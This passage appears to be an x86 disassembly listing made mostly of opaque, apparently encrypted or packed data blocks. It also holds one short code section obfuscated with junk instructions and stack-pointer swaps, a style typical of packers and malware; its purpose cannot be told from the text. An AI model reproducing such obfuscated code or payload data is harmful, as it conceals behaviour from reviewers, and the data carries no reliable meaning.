		dd 60000000h, 50C0A0BFh, 0DEB70F0Eh, 83C08B61h,	280149BDh
		dd 9750006h, 14C5BD83h,	74000628h, 8B535019h, 40EB8C0h
		dd 85890000h, 6280291h,	0A55E9D8Dh, 0D3FF062Ah,	0BD83585Bh
		dd 62814C5h, 50177400h,	40EB853h, 85890000h, 6280291h
		dd 0A24D9D8Dh, 0D3FF062Ah, 8B66585Bh, 3DB966F0h, 80C08B88h
		dd 0BD83ACE6h, 6283311h, 3D840F00h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 1F5C357h, 0E8DBEA55h, 8166B50Eh, 0E9D7CFF2h,	286h, 0A810Fh
		dd 66600000h, 66CC14BAh, 6195C7BBh, 0EE9DF8Ch, 0F3000000h
		dd 0E784709Fh, 0B1CAF71Fh, 0E433BDF8h, 78A0FE7h, 57000000h
		dd 46C18166h, 0F766596Bh, 0F0004C7h, 24985h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0D2F32659h, 0F5840072h, 12B1BD83h, 0F000628h, 0B85h
		dd 15C98000h, 211E9h, 0CA8B6600h, 6AFF2Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 9A23B5C3h
		dd 37A17998h, 8143B276h, 8F33B5DAh, 7F9D8D4Ah, 0E9062B39h
		dd 6, 0B95A5241h, 0D38BB68Bh, 0A830F93h, 50000000h, 0F616052h
		dd 5A616031h, 0BE665058h, 6A93B857h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 6241C355h
		dd 7D782333h, 2689E7BAh, 35FF6453h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0B7C35545h
		dd 5858C49Ah, 0C3D3088Ch, 0DE816651h, 0F59E131h, 8964D2B7h
		dd 25h,	0D78B6600h, 0D181C48Bh,	177B3C67h, 0EB01CDh, 50006AFCh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 16514798h, 1D28AAC1h, 58F64E5h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 62C35141h
		dd 9FB966F3h, 4C483A8h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 11C35747h, 858510C3h,	6860FF8h, 81000000h
		dd 47127ACAh, 0FC00B53h, 0C184h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0E37094B5h
		dd 0CE8166B2h, 0FE8FD7Bh, 52000000h, 0CAB74ED5h, 0D5639771h
		dd 8D980E95h, 0F28BB140h, 0BD8D615Eh, 62873C4h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0F9C35242h, 0D46E0CE8h
		dd 974BF0CAh, 1B84AB6h,	0BE000000h, 5120D845h, 0F78BE7FFh
		dd 245C8B57h, 0B8838B10h, 0F000000h, 0FE0140B6h, 0B08389C8h
		dd 83000000h, 0B883h, 335F0200h, 6AC3C0h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0D6ED1BC3h
		dd 96DBA63h, 53507391h,	0BA615A5Ah, 29705F79h, 0EB8AC08Bh
		dd 149BD83h, 75000628h,	0C5BD8309h, 62814h, 53501974h
		dd 0EB8C08Bh, 89000004h, 282E5585h, 0C59D8D06h,	0FF062AA5h
		dd 83585BD3h, 2814C5BDh, 17740006h, 0EB85350h, 89000004h
		dd 282E5585h, 669D8D06h, 0FF062AA2h, 6A585BD3h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 33DCC353h, 66894075h, 412FC281h, 8B0FF180h, 0ADC280C0h
		dd 6E8C28Bh, 0E1000000h, 59D71B0h, 0E709BF5Fh, 81582449h
		dd 9EFD8DCFh, 6CC08103h, 0E9000066h, 6,	11126661h, 0DB339192h
		dd 1DE18166h, 18348BE2h, 6E29B966h, 0EBE7EE81h,	0DA80408Dh
		dd 42F681F3h, 0F506CCCh, 0F681D2B7h, 7D5B49F6h,	89F9BF0Fh
		dd 60601834h, 0B5A7CF80h, 860F6130h, 4,	8A76BA66h, 0FE961h
		dd 44A50000h, 0A95526E3h, 59532F6h, 0F2366F07h,	4EB83ABh
		dd 0DE9h, 49ACF300h, 0E2FB7992h, 4FD60C4h, 0FB81CCE0h
		dd 0FFFF9A4Ch, 14850Fh,	0FB8B0000h, 1EE9h, 1DA51D00h, 0DF8A140h
		dd 8ADB7C6Fh, 8B609206h, 0F78B66D3h, 0FF73E961h, 2576FFFFh
		dd 0EB992836h, 8, 0
		dd 7BE900h, 52600000h, 244C010Fh, 0C2835AFEh, 15858B24h
		dd 8D062824h, 2B89D085h, 8B088B06h, 100088h, 660A8B00h
		dd 89FC4A8Bh, 2B3B148Dh, 0B1BD8306h, 62812h, 0F840Fh, 6A600000h
		dd 6595FF00h, 61062804h, 0FFFFC4E9h, 728966FFh,	10CEC1FCh
		dd 2728966h, 5A04CD52h,	3B108589h, 0B58B062Bh, 62B3B14h
		dd 6610CEC1h, 8B027289h, 2B3B14B5h, 72896606h, 858B61FCh
		dd 62B3B10h, 55958DC3h,	89062827h, 280D0995h, 59958906h
		dd 0FF062812h, 28125985h, 2585C606h, 5306280Dh,	0B148D868h
		dd 0D5B5FFFCh, 8D06282Dh, 283BBB85h, 89D0FF06h,	28046585h
		dd 9B858D06h, 89062B33h, 282D3585h, 0E900EB06h,	619h, 60DE9h
		dd 3CC86800h, 0EAE9062Bh, 68FFFD43h, 62B3DE9h, 0FD43E0E9h
		dd 3E8468FFh, 0D6E9062Bh, 68FFFD43h, 62B3F8Ch, 0FD43CCE9h
		dd 40AE68FFh, 0C2E9062Bh, 0C6FFFD43h, 7E82FFF5h, 3135B2B0h
		dd 0E2E66365h, 999D1A10h, 4E51CECCh, 0E6E4B100h, 9C966569h
		dd 4E501B1Fh, 3FDCDD1h,	6AD06086h, 7958AFB2h, 0A07EF3C6h
		dd 7F73937Ch, 73939646h, 9337E87Fh, 6D917F73h, 7DF33E65h
		dd 0D7ED81E0h, 7F732F05h, 732F5A7Dh, 2FFE227Fh,	491CFF73h
		dd 60C02Ch, 9D0F0DDAh, 0FF732F7Fh, 8DA337F9h, 0F55B02A2h
		dd 709602C4h, 0E1379DA5h, 93F95B42h, 2D011F07h,	96F0CF3h
		dd 572226A3h, 0BD903055h, 130107CEh, 8AF0798Eh,	0CC9ABE1Eh
		dd 1F14E61Ah, 8B667C10h, 0EDF373C1h, 0BA96BD2Bh, 7F5A340Fh
		dd 496C8h, 51471800h, 402D0D4h,	0B5B78387h, 6C623438h
		dd 201EEBEFh, 3F2A0A3h,	0B7BB3836h, 6D71EEE8h, 1F23A0A2h
		dd 0B2D8554Fh, 0AF1CBC22h, 45187958h, 0E046A6D0h, 7F739338h
		dd 0D8ABB03Ch, 1F67BF43h, 7F4F25B9h, 343180BBh,	288E0332h
		dd 4FB51503h, 7F73EB89h, 3F55E9ABh, 7F73EB9Ch, 0F8B87113h
		dd 0EE0A38D4h, 0D204D420h, 0FCE40903h, 0FCC29268h, 4BC82E30h
		dd 117D7747h, 8B1F1DEBh, 443E0EC2h, 1BA581Fh, 0FDE7AB7Bh
		dd 9ECA0F4Dh, 0CEC946ACh, 0BB3225ABh, 0FB2187E7h, 7D7F7291h
		dd 91894FB5h, 0E9AB7F72h, 88825183h, 3C608F4h, 0E0350000h
		dd 84AA1610h, 0AF97BCB2h, 0BB5E521Bh, 297F7393h, 8A5AE099h
		dd 5DED1390h, 0F66ED9FDh, 0D2FB7482h, 7314AC6Ch, 0A006C87Fh
		dd 1426F60Ch, 90527F73h, 0EAECB76Bh, 9F99696Dh,	1700DA7Ah
		dd 68E54B49h, 0B464CA2Ah, 0C07F7314h, 0C4946AFEh, 22F1A5CAh
		dd 0B567AB28h, 4D7F7314h, 0BF5F847Eh, 0F55BC7ECh, 755BD8A2h
		dd 0B7A412D4h, 37BE7795h, 375A55Ch, 26F70000h, 0E1AFB330h
		dd 966266E3h, 41131794h, 0FDCACE4Bh, 0D37F82FFh, 9A1715E2h
		dd 50CDC796h, 27F814Ch,	0B7342EFEh, 7D9B0191h, 0F77958AEh
		dd 10E0AF24h, 64A4864Ch, 7355DEFEh, 68985A7Fh, 6AD66152h
		dd 7382D404h, 389E607Fh, 0D6066CCCh, 0E87F7382h, 0A3651D1Bh
		dd 3258460Fh, 59416664h, 251FEFC5h, 837D4C00h, 82DEC206h
		dd 0F4287F73h, 0E7F7392h, 2C20453Fh, 7F73B2E8h,	0C6325326h
		dd 5BA2C160h, 0A90F6F75h, 795BA273h, 53AF4305h,	1F202391h
		dd 0D1ACBE77h, 2DA1Ah, 958B5C00h, 48461418h, 0F9FBC7CBh
		dd 0B0A6787Ch, 64622F33h, 47B6E4E7h, 0FBFF7C7Ah, 0B1B5322Ch
		dd 6367E4E6h, 0F61C9993h, 0ADD80066h, 895C7958h, 5E82A614h
		dd 0CEA4F4CDh, 67A96C9Ch, 0A6242CBDh, 726C3C12h, 0CFC9994Dh
		dd 746E3D63h, 0B25017E0h, 2B1539F9h, 35983DABh,	0F0288EFAh
		dd 847F73A6h, 88582EC2h, 91F7F5C2h, 64601914h, 4556BB31h
		dd 0AE000002h, 2ABEB888h, 937CA0EFh, 284C7F73h,	7F18C886h
		dd 8F65F908h, 3256C2C4h, 0B252B2A0h, 55760ABEh,	2426F117h
		dd 0EDEFBA90h, 1DBB2181h, 177F733Fh, 0AF8C155h,	3F9444AAh
		dd 86EC7F73h, 7F733F56h, 0A66820E2h, 0A3713C12h, 0CCB4D9D3h
		dd 349AFA66h, 7F733FE4h, 713ACE90h, 0CD530CAAh,	33E83602h
		dd 0BDB860C6h, 0FABC7F73h, 636D89CAh, 3F646631h, 7974F157h
		dd 0BB315C00h, 48B6h, 21F4E300h, 0FB329804h, 9D755BB1h
		dd 0C606DDBh, 11ECBE77h, 1D25Ah, 8D835400h, 403E0C10h
		dd 0F1F3BFC3h, 0A89E7074h, 5C5A272Bh, 3F8EDCDFh, 0F3F77472h
		dd 0A9AD2A24h, 5B5FDCDEh, 0EE14918Bh, 0AC20F85Eh, 81547958h
		dd 0C82EBE0Ch, 7F739318h, 47355A1Ch, 0B6885621h, 4DB39BC0h
		dd 1618E3B9h, 1C59599h,	91D3863h, 0F2F0BDA4h, 197FE5CDh
		dd 11E006F4h, 1D83794Bh, 0BA7C10F8h, 2D27F7E0h,	3DBA2008h
		dd 0EF6C6E39h, 2DEB51B1h, 477F7364h, 4B1BF185h,	0A9782C51h
		dd 612E32AFh, 0B5B8FB99h, 9F05C6ADh, 355BBB4Bh,	0DDFB6169h
		dd 577F732Dh, 859B2F95h, 7F732C57h, 8DB31FE1h, 622BBFC1h
		dd 50915074h, 0D2DE709Dh, 9A9C683Eh, 37542D1Dh,	90925E12h
		dd 50DCF13h, 1B7B7F73h,	730567B5h, 1D4F117Fh, 422A4F51h
		dd 0FC19ECAEh, 27C72A90h, 0F7B9755Bh, 9997658Bh, 3E38072Dh
		dd 0B78589AAh, 15E094B9h, 0B281A713h, 0A75B24B8h, 5B9DED8h
		dd 9F9D6B39h, 72C927Ah,	36F9467h, 7304E29Dh, 0DDAAD073h
		dd 0CC319C15h, 0DA40AE60h, 0BA28EA46h, 0B40F9AC3h, 0B09D542Fh
		dd 32000000h, 0EAEE6B61h, 9DA11E1Ch, 4E52CFD1h,	509867Ch
		dd 0BABD3A38h, 52501DECh, 802D1D5h, 0BABC878Bh,	6F69393Dh
		dd 0D63CCCF2h, 7958D306h, 0E0EA5F32h, 82784A10h, 0A30F755Dh
		dd 8AAFB17Dh, 91450EA2h, 0DBA2C7C1h, 0B167CD2Dh, 0F7F7393h
		dd 739373A9h, 8B43057Fh, 7C3535C9h, 0AF2C26F6h,	312FC5B4h
		dd 26F1BBh, 0A01E0000h,	7F73937Dh, 5B55254Bh, 2721F1C7h
		dd 27F55BBBh, 517F7393h, 0D3DAFB8Fh, 19h, 1610DF05h, 3A7509F1h
		dd 73937CA0h, 5B264C7Fh, 0B84C3459h, 9B1812E2h,	8D608E32h
		dd 0Bh,	0A3AD9BBFh, 0D332D3C7h,	0E0C3103Fh, 40F4190Fh
		dd 9D517670h, 0F7ABD0D2h, 55092E28h, 0B1658A88h, 0DC1E6E4h
		dd 6C20453Bh, 0C5799EA0h, 0FFD4F9F7h, 2ED668h, 243C8900h
		dd 18668h, 241C8900h, 80068h, 243C8900h, 31B0B850h, 35483E65h
		dd 384E0DB5h, 48BC389h,	4C48124h, 54000000h, 81243C8Bh
		dd 4C4h, 2C815300h, 37665D24h, 8478F37h, 5D084781h, 8B373766h
		dd 8951243Ch, 4C181E1h,	81000000h, 4C1h, 240C8700h, 2434FF5Ch
		dd 4C4835Bh, 0FD3DECE9h, 0CA4B85FFh, 83B86A8Dh,	3062B41h
		dd 0E9D18BC5h, 51h, 24748B60h, 3C760324h, 28247C8Bh, 0C281D68Bh
		dd 0F8h, 64E8B66h, 83C9B70Fh, 840F00F9h, 16h, 0F0C7A3Bh
		dd 158Fh, 28EA8300h, 8B0C428Bh,	0C12B144Ah, 7C89F82Bh
		dd 0C2611C24h, 0C2830008h, 850F4928h, 0FFFFFFCFh, 0FFFFE9E9h
		dd 0FD3EBAFFh, 20EB0009h, 8 dup(0)
		dd 5C1E9h, 5B5E900h, 71680000h,	0E9062B44h, 0FFFD3D4Dh
		dd 2B44F968h, 3D43E906h, 0CA68FFFDh, 0E9062B46h, 0FFFD3D39h
		dd 2B474968h, 3D2FE906h, 6233FFFDh, 1DEBEF6Ch, 0D29EA21Fh
		dd 7D4F53D0h, 39060A87h, 0EFBBBE3Bh, 0D653511Eh, 8C0903D2h
		dd 3EBBBD88h, 0F3706A3Ah, 1D73DCDh, 337958D1h, 9FF21660h
		dd 0EB3197B8h, 8D79584Fh, 6C689BCBh, 9BA27AE0h,	14D67958h
		dd 3CDC42AEh, 3879589Bh, 0A6A7E276h, 0E9F45982h, 2EC2CB68h
		dd 658A8C58h, 272D5377h, 0E6BAF0C7h, 42983C52h,	9DE3FF73h
		dd 31267E4h, 20803B32h,	2E8A18FCh, 9B0DC897h, 0FF73297Dh
		dd 93F1F97Fh, 1B92DB5h,	0C8E3B075h, 48AEC82Ah, 22C8B4h
		dd 0A0F50000h, 7F73937Dh, 319DC699h, 93AD6BD1h,	5C77F73h
		dd 4EFB6171h, 0E4755E51h, 3D9EA522h, 0A5000000h, 73937CA0h
		dd 4C284C7Fh, 748F82C6h, 6437F98Dh, 1373D33Fh, 73B36FADh
		dd 29EF557Fh, 4B7F73B3h, 7B0FD189h, 5E712465h, 0A2749A75h
		dd 6D9F87ACh, 0B00CA0A2h, 30555722h, 0FC65E248h, 0ED1214E0h
		dd 739338F9h, 173DAFFFh, 0B3B58147h, 0AC40284Dh, 0D33F3ACh
		dd 70D64240h, 0FF7393A8h, 0A0760ACCh, 6555D2D4h, 0A3036F8Ch
		dd 1BAFB17Dh, 7383D305h, 7EA365FFh, 8300FACAh, 52541F45h
		dd 0EFB1452Dh, 258BF71Ch, 0F55BBF06h, 1614E270h, 0BD709F1h
		dd 8A7EA309h, 0F95BA756h, 0BD9A370h, 9A00E80Dh,	0F8F2C175h
		dd 0D38CEED3h, 2E52A819h, 18A362F7h, 0E2E2766Dh, 50456929h
		dd 0BAB88601h, 0C17DAD95h, 0E0AD41A1h, 4159F499h, 7B1Dh
		dd 824F7500h, 0E3775F84h, 421F4A8h, 0A6A47298h,	0EF2D9381h
		dd 897F7393h, 0BDCD61C7h, 5E587857h, 6CD89A75h,	0FF7C7646h
		dd 46672BFBh, 0DB5ED6FEh, 0F682F056h, 82BE7578h, 310F0A7h
		dd 9E6F0000h, 59272BA8h, 0EDADE5Bh, 0B98B8F0Ch,	754246C3h
		dd 0ABF7FA77h, 128F8D5Ah, 0C8453F0Eh, 7AF7F9C4h, 2FACA676h
		dd 0C5137909h, 6F7958D7h, 0DBDD279Ch, 0F000002h, 804F1DE9h
		dd 518C2086h, 0ED1214E0h, 739327F9h, 93FD9F7Fh,	10C57F73h
		dd 687F7393h, 7F7393B4h, 7393CA0Eh, 9360B47Fh, 0DBAE3F73h
		dd 0FB2022EEh, 0DB41AD13h, 0B55EE493h, 4AEA0FD1h, 7CE24E77h
		dd 0B3715561h, 23D34103h, 0C9740DD9h, 28837EEh,	16E70000h
		dd 0D19FA320h, 865256D3h, 31030784h, 0EDBABE3Bh, 236F72EFh
		dd 8A0705D2h, 40BDB786h, 0F26F713Ch, 0A7241EEEh, 4D8BF181h
		dd 0E77958D7h, 10E09F14h, 0DD03F116h, 7D7B480Eh, 9745AB17h
		dd 0A17F7393h, 0B6894BDFh, 0A2BB218Dh, 0C0755E51h, 0B17D81FEh
		dd 511D43AFh, 0AE422A4Fh, 0BBBD898Dh, 223F696h,	134F3096h
		dd 6B2D7375h, 0BA8AB0EEh, 0C2162CC0h, 10732516h, 46AC183Dh
		dd 7908D42Dh, 0FCD3393h, 296DF25Bh, 0EB77D367h,	642092F4h
		dd 127EE409h, 0A5221CECh, 77714167h, 0D66A52h, 0A4CA3630h
		dd 0CEB6DBD5h, 0AB7D713Ah, 676DF2FAh, 9D036F94h, 67DF38E8h
		dd 0E5E3B0D6h, 0DC830EC0h, 5E48117h, 0A2A06D9Fh, 0A501957Dh
		dd 0F31777E3h, 5D4FFE15h, 5A27594Dh, 0BB4F375Ch, 9E1B15E5h
		dd 64D0CA9Ah, 9DEC7140h, 0A0D0BF72h, 0EB1EF670h, 0CD569CAh
		dd 8058BE1Eh, 0B467DF31h, 64485EF2h, 3267DF31h,	9D9F6A5Fh
		dd 0DAA5CB37h, 0D6066CD8h, 6267DF31h, 96FC0CA0h, 6DF2F3E1h
		dd 0C3197FDFh, 7561A477h, 1C31FB3h, 9F9F6F95h, 0DBA0A97Bh
		dd 0C93B1FC3h, 61A4C013h, 80FD6325h, 8DB2AC7Ch,	12527B9Fh
		dd 0B59E57E2h, 678C5F21h, 0A7D495FBh, 0BC7E6B89h, 5C5E2A50h
		dd 0F2BB4F37h, 70ABDAFEh, 0A65FA55Ah, 0F82086E6h, 7C5A70ABh
		dd 205926BAh, 96E03467h, 0Ch, 0B67CA0C3h, 7837F73h, 8A000000h
		dd 73B97CA0h, 21F4217Fh, 12389804h, 9CB24644h, 755E51C3h
		dd 0F1278DEDh, 97958D1h, 31193E3Ch, 0C723B779h,	6D40E005h
		dd 3B76DC48h, 0A97370E3h, 0E735E349h, 773F7320h, 20E7CB11h
		dd 45AB6D73h, 259355B1h, 0B40DA5DFh, 0B77F3611h, 16000000h
		dd 0CED24F45h, 81850200h, 3236B3B5h, 0E9ED6A60h, 9EA11E1Ch
		dd 363401F0h, 0ECE6B5B9h, 9EA06B6Fh, 534D1D21h,	0BA20B0D6h
		dd 7958D562h, 0F4CE4316h, 6D6B3821h, 8EFA6048h,	96F30A2Eh
		dd 65DFFD63h, 97597F73h, 93C49367h, 818CE9FFh, 60EE755Eh
		dd 0A2F9593h, 26E976Ah,	7D480ADCh, 8F0157Bh, 9BFE6474h
		dd 0E9737790h, 570EC1C5h, 50E4CBE2h, 26C432F4h,	0A6B40A47h
		dd 3814CBh, 0C6970000h,	814F53D0h, 36020683h, 0E1B3B734h
		dd 9D6A6EEBh, 731F229Fh, 3AB7B582h, 0F06D6736h,	0A21F21ECh
		dd 57D4CE9Eh, 9D3BA131h, 977958D4h, 3DD4FC4h, 0E4000000h
		dd 0FE03A87h, 7040F419h, 0D29D5176h, 28F7ABD0h,	8855092Eh
		dd 0E4B1658Ah, 3B0DC1E6h, 0A06C2045h, 0F7C5799Eh
		db 0F9h, 0D4h, 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	3B52h
		mov	[esp], eax
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		push	esi
		mov	esi, 3F2A3B76h
		mov	eax, 390179DBh
		xor	eax, esi
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	358Eh
		mov	[esp], eax
		pop	dword ptr [ebp+8]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_551321
; ---------------------------------------------------------------------------
		db 27h,	0F1h, 0B4h
		dd 0A2ACB600h, 1828FF18h, 0B8250165h, 62B47A6h,	0C88BC503h
		dd 7E8h, 0DE4ECA00h, 0AB268152h, 0B15A6160h, 0EFC281B4h
		dd 0E900006Ch, 10h, 135865E9h, 195FC125h, 0CE2C63A0h, 46F3DADFh
		dd 1AFB68h, 0DF815B00h,	0A56112h, 10E8028Bh, 0B2000000h
		dd 0B40CEEB6h, 2F07453Dh, 0B02ACE51h, 0E82ABA40h, 0Bh
		dd 6CE41A44h, 0BF739741h, 0FD6E7A5h, 80h, 815F5E00h, 917CF0C0h
		dd 0DEBE6675h, 0A8F08111h, 0E85CF4A1h, 12h, 76426778h
		dd 4792F7D7h, 0B656270Bh, 4181C7AAh, 0BF0F5A52h, 0E8815FFEh
		dd 2BCBE4D5h, 89CB8B66h, 0CBB70F02h, 5004EA83h,	5E856h
		dd 0C1CD0000h, 5FEB67B7h, 0F4B5F5Eh, 1385h, 61F96000h
		dd 4BE9h, 1C680200h, 2408E7E7h,	0C107C750h, 10E860h, 0E7490000h
		dd 9260734Ah, 52DE4ECAh, 16AB2681h, 830F0FEBh, 0
		dd 10E959h, 7E180000h, 83D3C892h, 9CFB637Dh, 0D46CA93Bh
		dd 0E961C0C0h, 0FFFFFF34h, 0D17753DBh, 51467290h, 152E9h
		dd 4B61A600h, 95ECE70Bh, 715893DAh, 0B6CFDF06h,	5D54FDBEh
		dd 0ECA43636h, 5DD500BCh, 76D352C5h, 0FC94A4D6h, 0AEC44100h
		dd 77CB50C1h, 0ACAC3252h, 46BF009Ch, 90ADFC6Ch,	0A3365973h
		dd 72E275D6h, 90BD9Ch, 8CE693DDh, 0A592A79Bh, 0A7ABDD64h
		dd 918F9792h, 0F95CFC7Ah, 0B1E496B9h, 47E4B59Bh, 0E592B69Fh
		dd 0BDF694B6h, 0B3EBB59Eh, 93D0EC96h, 97BF999Ch, 0F55CFD7Bh
		dd 0AFF49389h, 0B2CD00EDh, 0E594A6E3h, 0C3B5D4h, 622D4457h
		dd 0AE29B0F3h, 38h, 3Ch, 40h, 2	dup(0)
		dd 4, 94h, 5, 1, 0A28h,	2, 25h dup(0)
		dd 0E9000000h, 1F59h, 2B4CD668h, 3527E906h, 0D868FFFDh
		dd 0E9062B4Dh, 0FFFD351Dh, 2B4EB568h, 3513E906h, 7768FFFDh
		dd 0E9062B4Fh, 0FFFD3509h, 2B502468h, 34FFE906h, 0E068FFFDh
		dd 0E9062B50h, 0FFFD34F5h, 2B51BE68h, 34EBE906h, 8668FFFDh
		dd 0E9062B52h, 0FFFD34E1h, 2B563868h, 34D7E906h, 0B768FFFDh
		dd 0E9062B56h, 0FFFD34CDh, 2B580768h, 34C3E906h, 2368FFFDh
		dd 0E9062B5Bh, 0FFFD34B9h, 2B5E7A68h, 34AFE906h, 0E168FFFDh
		dd 0E9062B61h, 0FFFD34A5h, 2B633B68h, 349BE906h, 9F68FFFDh
		dd 0E9062B63h, 0FFFD3491h, 2B63F168h, 3487E906h, 4368FFFDh
		dd 0E9062B64h, 0FFFD347Dh, 2B65B268h, 3473E906h, 0BB68FFFDh
		dd 0E9062B66h, 0FFFD3469h, 2B68A768h, 345FE906h, 9263FFFDh
		dd 4D1B1F9Ch, 2CED24Fh,	0AD7F8300h, 69363AB7h, 0BFEBEE6Bh
		dd 683814Eh, 0BC393302h, 6EEBEDB8h, 23A09A6Ah, 0D1076DFDh
		dd 637958D8h, 10E01B90h, 6D3DF116h, 92E30773h, 99E3C2E4h
		dd 0C60425B9h, 40D4D2A0h, 6084AB7Eh, 0D3CE5A40h, 0B95FD164h
		dd 0BB7F7386h, 0C12793F9h, 755B87D6h, 92BF0024h, 424A2CFh
		dd 0E6521470h, 0C6F6F0C0h, 7D1CF5EEh, 763FD31Bh, 5B125E82h
		dd 2AE32979h, 59ACCCADh, 66C6C1h, 795B1AD8h, 440312E4h
		dd 1BD3E2FDh, 2ED9C559h, 6000000h, 980421F4h, 5BBEAB32h
		dd 0E60BCD75h, 903D2F8h, 86BD5F75h, 0C006795Bh,	43EF8A07h
		dd 7FA3C159h, 0A6F8F144h, 220EA2F5h, 0CCh, 1610E04Fh, 3DA303F1h
		dd 7F73939Fh, 6D43D799h, 0E04D6A0h, 0EC110FDCh,	0C5799E04h
		dd 22D6FBF5h, 97DB5852h, 7F738F86h, 0F3706A3Ah,	251FEFh
		dd 0FC688D60h, 0AEA4769Ch, 94A1041Ah, 0F91F755Bh, 2AF92B2Dh
		dd 8F230B30h, 0DF057133h, 4EC1113h, 94EA3298h, 0CC8E795Bh
		dd 54271738h, 0D09DC32Fh, 189A2D2h, 0EC578E39h,	80E24858h
		dd 0E4737535h, 0C390B622h, 0C0FAB4FBh, 7A34859Ah, 71C6F61Dh
		dd 900D73DAh, 53C1BF8Ch, 0B40C71BFh, 819B522Dh,	0A00001Ch
		dd 0C2C64339h, 7579F6F4h, 262AA7A9h, 0DDE15E54h, 92951210h
		dd 2A28F5C4h, 0E0DAA9ADh, 92945F63h, 47411115h,	0AE14A4CAh
		dd 7958DF6Eh, 0E0C2370Ah, 94981513h, 0E44DCAC4h, 4B3A21F4h
		dd 0A9A7750Fh, 586C9C84h, 3E400C2Ch, 0A60672D8h, 551C3D82h
		dd 43A9FA53h, 7F73EB95h, 0E377DD9Fh, 5BC64ECDh,	0BDA6875h
		dd 9E04EC11h, 1F538579h, 0A06B795Bh, 0A10705D2h, 0FBFDC87Ch
		dd 0BD760AD6h, 934C9203h, 59BB6316h, 0B053C1h, 0E0800000h
		dd 3DF11610h, 5F4D7270h, 0A9A66A39h, 0C904E134h, 8D7BA006h
		dd 7308F127h, 5BC1837Fh, 14ACB1C7h, 0F41A7F73h,	0C0962A24h
		dd 7579F6F0h, 0E686ABA5h, 5A582613h, 7BE74D35h,	5B0FB215h
		dd 3D0A3075h, 9E321A3Fh, 0C5038042h, 3C08D29Fh,	7E40D43Ah
		dd 0B81E8AABh, 737593A9h, 3D9D09CBh, 24494B17h,	5D2A83Ch
		dd 0B9868A07h, 9D934DBBh, 421DB40Dh, 1B7F8Bh, 41370800h
		dd 0F4F2C0C4h, 0A5A77377h, 5C522428h, 100EDBDFh, 0F3C29093h
		dd 0A7AB2826h, 5D61DED8h, 0F139092h, 0A2C8453Fh, 0DE6CAC12h
		dd 35087958h, 1513E0C0h, 0CAC49498h, 10E0E44Dh,	6D3DF116h
		dd 93D1076Dh, 0D5637F73h, 3DA30907h, 0EEA6C1C0h, 2E8EFA1Bh
		dd 739310C8h, 0DCDEAA7Fh, 5517CFB7h, 2D51B1C1h,	0F9318077h
		dd 0D7056B51h, 617F73AAh, 8FA5399Fh, 755BBFA8h,	567C08CAh
		dd 25E9229Eh, 3A5E8154h, 0B8783D4Ah, 0FE1E9079h, 7ABDC5B2h
		dd 80E652B8h, 0B7ED8469h, 0B7DD490Bh, 565421E7h, 4FE34931h
		dd 0D2389886h, 0B7ADDC0Ah, 0E93C6C2Eh, 0AA0E1D43h, 5B2EF084h
		dd 4A6ECE3Ah, 0D9C6370Ch, 1127BB2Dh, 0BD853394h, 6288F4B6h
		dd 171B9892h, 1FDF4D47h, 0A5775879h, 1AA213CAh,	5A2B0000h
		dd 15E3E764h, 0CA969A17h, 75474BC8h, 31FE027Fh,	0E7B3B633h
		dd 0CE4B4916h, 8401FBCAh, 36B3B580h, 0EB686232h, 9CF35C5h
		dd 2B7958DDh, 10E0E358h, 69C7BD4Ch, 0AE7A56E4h,	399F87ACh
		dd 3B0EAED3h, 0C18AAE1Ah, 0BA33D16Ah, 0AD1323B7h, 755B0A52h
		dd 0F6F57234h, 274C1F75h, 66355BBBh, 0F35F476Ch, 5B5A4F8Dh
		dd 9327E979h, 734FBE7Dh, 6AF6B873h, 0F4A31744h,	0BFE4B738h
		dd 901EED53h, 0B678A159h, 5C52244Ah, 0EB11FFC8h, 0CD8F2319h
		dd 76DD9FAh, 0AF71358Eh, 1E7EEAACh, 9A2E28F8h, 8EFAF4C4h
		dd 0D10C82Eh, 0B7AC9F21h, 0B2D0EFBEh, 18AC6E26h, 2923F3F7h
		dd 0C0975BBh, 0E59C7758h, 19E0h, 25A29869h, 0D8555321h
		dd 890608D4h, 40BDB385h, 0F4716F3Ch, 8754A5F1h,	39080C89h
		dd 0F3BEC23Fh, 0A07074F1h, 730329A6h, 58DCCF0Dh, 21966979h
		dd 964C10E0h, 80824EA0h, 0A443735Bh, 6F94FAACh,	8F8D5B81h
		dd 3D6639FBh, 91286BD1h, 884A755Bh, 266E0C0Bh, 60C63253h
		dd 73728559h, 3F410D9Bh, 40CC321Ah, 0CE9AC020h,	83825ACCh
		dd 0F4B67322h, 60F4F6C2h, 8DCB244Ah, 0F61FF20Fh, 6CC5248Ah
		dd 0EDAFDDA2h, 305528C8h, 0A0E15EC4h, 4103DA7Ah, 0DB6AB1D5h
		dd 0EA8A0A76h, 50204656h, 5D5D956h, 33AD9D0Bh, 744F0D14h
		dd 1933BDh, 0F5EBBC00h,	0A8A67478h, 595B272Bh, 1006D8DCh
